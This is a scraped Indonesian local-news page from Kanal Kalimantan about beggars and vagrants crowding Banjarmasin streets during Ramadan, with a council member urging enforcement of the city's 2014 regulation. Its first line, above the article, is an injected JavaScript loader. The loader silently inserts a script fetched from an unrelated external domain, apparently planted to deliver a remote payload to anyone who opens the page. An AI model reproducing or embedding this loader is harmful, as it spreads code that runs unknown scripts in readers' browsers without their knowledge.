(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gepeng ‘Menjamur’, Yah…Perda-nya Sebatas ‘Macan Kertas’


BANJARMASIN, Bak jamur di musim hujan, Gepeng (Gelandangan dan Pengemis) saat bulan Ramadhan mulai menjamur di sejumlah titik di kota Banjarmasin. Seperti di Jalan Brigjen Hasan Basry -depan ULM-, jalan S Parman -Perempatan Belitung, jalan Suprapto, Antasan Besar, Banjarmasin Tengah mendapatkan perhatian khusus dari Dewan Perwakilan Rakyat Daerah Kota Banjarmasin Khususnya  Komisi IV.

Anggota Komisi IV Sri Nurnaningsih mengatakan, permasalahan Gepeng tersebut selalu terjadi satu tahun sekali apalagi ketika bulan Ramadhan dan menjelang hari raya Idul Fitri.

‘Solusi’ cepat bagi masyarakat untuk mencari rezeki ataupun rasa kasihan dari masyarakat yang lalu lalang di sekitar jalan tersebut.

“Itu musiman dan sering terjadi di bulan puasa,” katanya saat ditemui di DPRD Kota Banjarmasin.

Dia menambahkan, masyarakat yang menjadi pengemis tersebut bukan asli masyarakat kota Banjarmasin, ia menduga orang-orang tersebut pendatang dari luar pulau Kalimantan.

“Peruntungan, mereka sebenarnya ada pekerjaan, tapi datang ke sini entah kenapa jadi minta sedekah,” kata Sri Nurnaningsih.

Regulasi yang mengatur permasalahan sosial ini sungguh sangat jelas dalam Perda Kota Banjarmasin Nomor 12 Tahun 2014 tentang penanganan gelandangan dan pengemis serta tunawisma.

Ia menegaskan perlu adanya tindakan tegas tadi pihak pemerintah Kota Banjarmasin yang dalam hal ini merupakan tugas dan fungsi dari Dinas Sosial Kota Banjarmasin serta bekerjasama dengan pihak Satpol PP Kota Banjarmasin dalam mengawal peraturan daerah tersebut.

“Ini perlunya ada sebuah evaluasi,” jelas Sri.

Selain itu, ia menduga para pengemis di jalanan tersebut ada oknum yang memperkerjakannya. Sehingga apabila oknum tersebut ditemukan maka akan ditindak secara tegas dan berdasarkan regulasi dalam memberikan sanksi. “Ini merupakan suatu cara yang dilakukan untuk meminimalisir atau mengurangi gelandangan,” ucapnya.

Seluruh Ketua RT di Kota Banjarmasin harus sigap dalam melakukan pendataan masyakat asli setempat dan masyarakat pendatang, agar masyarakat dapat terkontrol dan tidak melakukan tindakan yang merugikan Pemerintah Kota Banjarmasin. (ammar)

Reporter:Ammar
Editor: Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.